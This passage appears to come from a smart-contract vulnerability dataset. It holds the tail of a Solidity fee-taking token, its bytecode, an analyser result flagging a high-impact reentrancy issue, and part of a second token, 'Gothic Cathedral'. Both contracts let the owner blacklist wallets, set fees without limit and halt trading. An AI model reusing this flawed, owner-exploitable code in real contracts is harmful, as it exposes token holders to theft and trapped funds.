require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610523578063dd62ed3e14610543578063ea1644d514610589578063f2fde38b146105a957600080fd5b8063a2a957bb1461049e578063a9059cbb146104be578063bfd79284146104de578063c3c8cd801461050e57600080fd5b80638f70ccf7116100d15780638f70ccf7146104485780638f9a55c01461046857806395d89b41146101fe57806398a5c3151461047e57600080fd5b80637d1db4a5146103e75780637f2feddc146103fd5780638da5cb5b1461042a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192d565b6105c9565b005b34801561020a57600080fd5b50604080518082018252600881526749e29da4efb88f5560c01b6020820152905161023591906119f2565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611a47565b610668565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50670de0b6b3a76400005b604051908152602001610235565b3480156102d757600080fd5b5061025e6102e6366004611a73565b61067f565b3480156102f757600080fd5b506102bd60185481565b34801561030d57600080fd5b5060405160098152602001610235565b34801561032957600080fd5b5060155461028e906001600160a01b031681565b34801561034957600080fd5b506101fc610358366004611ab4565b6106e8565b34801561036957600080fd5b506101fc610378366004611ae1565b610733565b34801561038957600080fd5b506101fc61077b565b34801561039e57600080fd5b506102bd6103ad366004611ab4565b6107c6565b3480156103be57600080fd5b506101fc6107e8565b3480156103d357600080fd5b506101fc6103e2366004611afc565b61085c565b3480156103f357600080fd5b506102bd60165481565b34801561040957600080fd5b506102bd610418366004611ab4565b60116020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028e565b34801561045457600080fd5b506101fc610463366004611ae1565b61088b565b34801561047457600080fd5b506102bd60175481565b34801561048a57600080fd5b506101fc610499366004611afc565b6108d3565b3480156104aa57600080fd5b506101fc6104b9366004611b15565b610902565b3480156104ca57600080fd5b5061025e6104d9366004611a47565b610940565b3480156104ea57600080fd5b5061025e6104f9366004611ab4565b60106020526000908152604090205460ff1681565b34801561051a57600080fd5b506101fc61094d565b34801561052f57600080fd5b506101fc61053e366004611b47565b6109a1565b34801561054f57600080fd5b506102bd61055e366004611bcb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059557600080fd5b506101fc6105a4366004611afc565b610a42565b3480156105b557600080fd5b506101fc6105c4366004611ab4565b610a71565b6000546001600160a01b031633146105fc5760405162461bcd60e51b81526004016105f390611c04565b60405180910390fd5b60005b81518110156106645760016010600084848151811061062057610620611c39565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065c81611c65565b9150506105ff565b5050565b6000610675338484610b5b565b5060015b92915050565b600061068c848484610c7f565b6106de84336106d985604051806060016040528060288152602001611d7f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bb565b610b5b565b5060019392505050565b6000546001600160a01b031633146107125760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075d5760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b057506013546001600160a01b0316336001600160a01b0316145b6107b957600080fd5b476107c3816111f5565b50565b6001600160a01b0381166000908152600260205260408120546106799061122f565b6000546001600160a01b031633146108125760405162461bcd60e51b81526004016105f390611c04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108865760405162461bcd60e51b81526004016105f390611c04565b601655565b6000546001600160a01b031633146108b55760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fd5760405162461bcd60e51b81526004016105f390611c04565b601855565b6000546001600160a01b0316331461092c5760405162461bcd60e51b81526004016105f390611c04565b600893909355600a91909155600955600b55565b6000610675338484610c7f565b6012546001600160a01b0316336001600160a01b0316148061098257506013546001600160a01b0316336001600160a01b0316145b61098b57600080fd5b6000610996306107c6565b90506107c3816112b3565b6000546001600160a01b031633146109cb5760405162461bcd60e51b81526004016105f390611c04565b60005b82811015610a3c5781600560008686858181106109ed576109ed611c39565b9050602002016020810190610a029190611ab4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3481611c65565b9150506109ce565b50505050565b6000546001600160a01b03163314610a6c5760405162461bcd60e51b81526004016105f390611c04565b601755565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b038116610b005760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f3565b6001600160a01b038216610c1e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f3565b6001600160a01b038216610d455760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f3565b60008111610da75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f3565b6000546001600160a01b03848116911614801590610dd357506000546001600160a01b03838116911614155b156110b457601554600160a01b900460ff16610e6c576000546001600160a01b03848116911614610e6c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f3565b601654811115610ebe5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f3565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0057506001600160a01b03821660009081526010602052604090205460ff16155b610f585760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f3565b6015546001600160a01b03838116911614610fdd5760175481610f7a846107c6565b610f849190611c80565b10610fdd5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f3565b6000610fe8306107c6565b6018546016549192508210159082106110015760165491505b8080156110185750601554600160a81b900460ff16155b801561103257506015546001600160a01b03868116911614155b80156110475750601554600160b01b900460ff165b801561106c57506001600160a01b03851660009081526005602052604090205460ff16155b801561109157506001600160a01b03841660009081526005602052604090205460ff16155b156110b15761109f826112b3565b4780156110af576110af476111f5565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f657506001600160a01b03831660009081526005602052604090205460ff165b8061112857506015546001600160a01b0385811691161480159061112857506015546001600160a01b03848116911614155b15611135575060006111af565b6015546001600160a01b03858116911614801561116057506014546001600160a01b03848116911614155b1561117257600854600c55600954600d555b6015546001600160a01b03848116911614801561119d57506014546001600160a01b03858116911614155b156111af57600a54600c55600b54600d555b610a3c8484848461143c565b600081848411156111df5760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611c98565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610664573d6000803e3d6000fd5b60006006548211156112965760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f3565b60006112a061146a565b90506112ac838261148d565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fb576112fb611c39565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134f57600080fd5b505afa158015611363573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113879190611caf565b8160018151811061139a5761139a611c39565b6001600160a01b0392831660209182029290920101526014546113c09130911684610b5b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f9908590600090869030904290600401611ccc565b600060405180830381600087803b15801561141357600080fd5b505af1158015611427573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611449576114496114cf565b6114548484846114fd565b80610a3c57610a3c600e54600c55600f54600d55565b60008060006114776115f4565b9092509050611486828261148d565b9250505090565b60006112ac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611634565b600c541580156114df5750600d54155b156114e657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150f87611662565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154190876116bf565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115709086611701565b6001600160a01b03891660009081526002602052604090205561159281611760565b61159c84836117aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e191815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061160f828261148d565b82101561162b57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116555760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611d3d565b600080600080600080600080600061167f8a600c54600d546117ce565b925092509250600061168f61146a565b905060008060006116a28e878787611823565b919e509c509a509598509396509194505050505091939550919395565b60006112ac83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bb565b60008061170e8385611c80565b9050838110156112ac5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f3565b600061176a61146a565b905060006117788383611873565b306000908152600260205260409020549091506117959082611701565b30600090815260026020526040902055505050565b6006546117b790836116bf565b6006556007546117c79082611701565b6007555050565b60008080806117e860646117e28989611873565b9061148d565b905060006117fb60646117e28a89611873565b905060006118138261180d8b866116bf565b906116bf565b9992985090965090945050505050565b60008080806118328886611873565b905060006118408887611873565b9050600061184e8888611873565b905060006118608261180d86866116bf565b939b939a50919850919650505050505050565b60008261188257506000610679565b600061188e8385611d5f565b90508261189b8583611d3d565b146112ac5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f3565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c357600080fd5b803561192881611908565b919050565b6000602080838503121561194057600080fd5b823567ffffffffffffffff8082111561195857600080fd5b818501915085601f83011261196c57600080fd5b81358181111561197e5761197e6118f2565b8060051b604051601f19603f830116810181811085821117156119a3576119a36118f2565b6040529182528482019250838101850191888311156119c157600080fd5b938501935b828510156119e6576119d78561191d565b845293850193928501926119c6565b98975050505050505050565b600060208083528351808285015260005b81811015611a1f57858101830151858201604001528201611a03565b81811115611a31576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5a57600080fd5b8235611a6581611908565b946020939093013593505050565b600080600060608486031215611a8857600080fd5b8335611a9381611908565b92506020840135611aa381611908565b929592945050506040919091013590565b600060208284031215611ac657600080fd5b81356112ac81611908565b8035801515811461192857600080fd5b600060208284031215611af357600080fd5b6112ac82611ad1565b600060208284031215611b0e57600080fd5b5035919050565b60008060008060808587031215611b2b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5c57600080fd5b833567ffffffffffffffff80821115611b7457600080fd5b818601915086601f830112611b8857600080fd5b813581811115611b9757600080fd5b8760208260051b8501011115611bac57600080fd5b602092830195509350611bc29186019050611ad1565b90509250925092565b60008060408385031215611bde57600080fd5b8235611be981611908565b91506020830135611bf981611908565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7957611c79611c4f565b5060010190565b60008219821115611c9357611c93611c4f565b500190565b600082821015611caa57611caa611c4f565b500390565b600060208284031215611cc157600080fd5b81516112ac81611908565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1c5784516001600160a01b031683529383019391830191600101611cf7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7957611d79611c4f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122071e8ed4b51c24791688c775695f3475f32d27525c2bfc44dd0877b951d2724e664736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
52
0x2b116abbc5353435b0fcebf9e0fcabfc39c47c20
/** *Submitted for verification at Etherscan.io on 2021-06-26 */ // SPDX-License-Identifier: Unlicensed // Welcome to Gothic Cathedral :DDDD where all your desires become reality // https://twitter.com/gothicathedral_ // https://t.me/gothiccathedral pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Gothic is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string public constant _name = "Gothic Cathedral"; string public constant _symbol = "GOTHIC"; uint8 private constant _decimals = 9; uint256 private _taxFee = 3; uint256 private _teamFee = 7; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 1 * 10**12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] 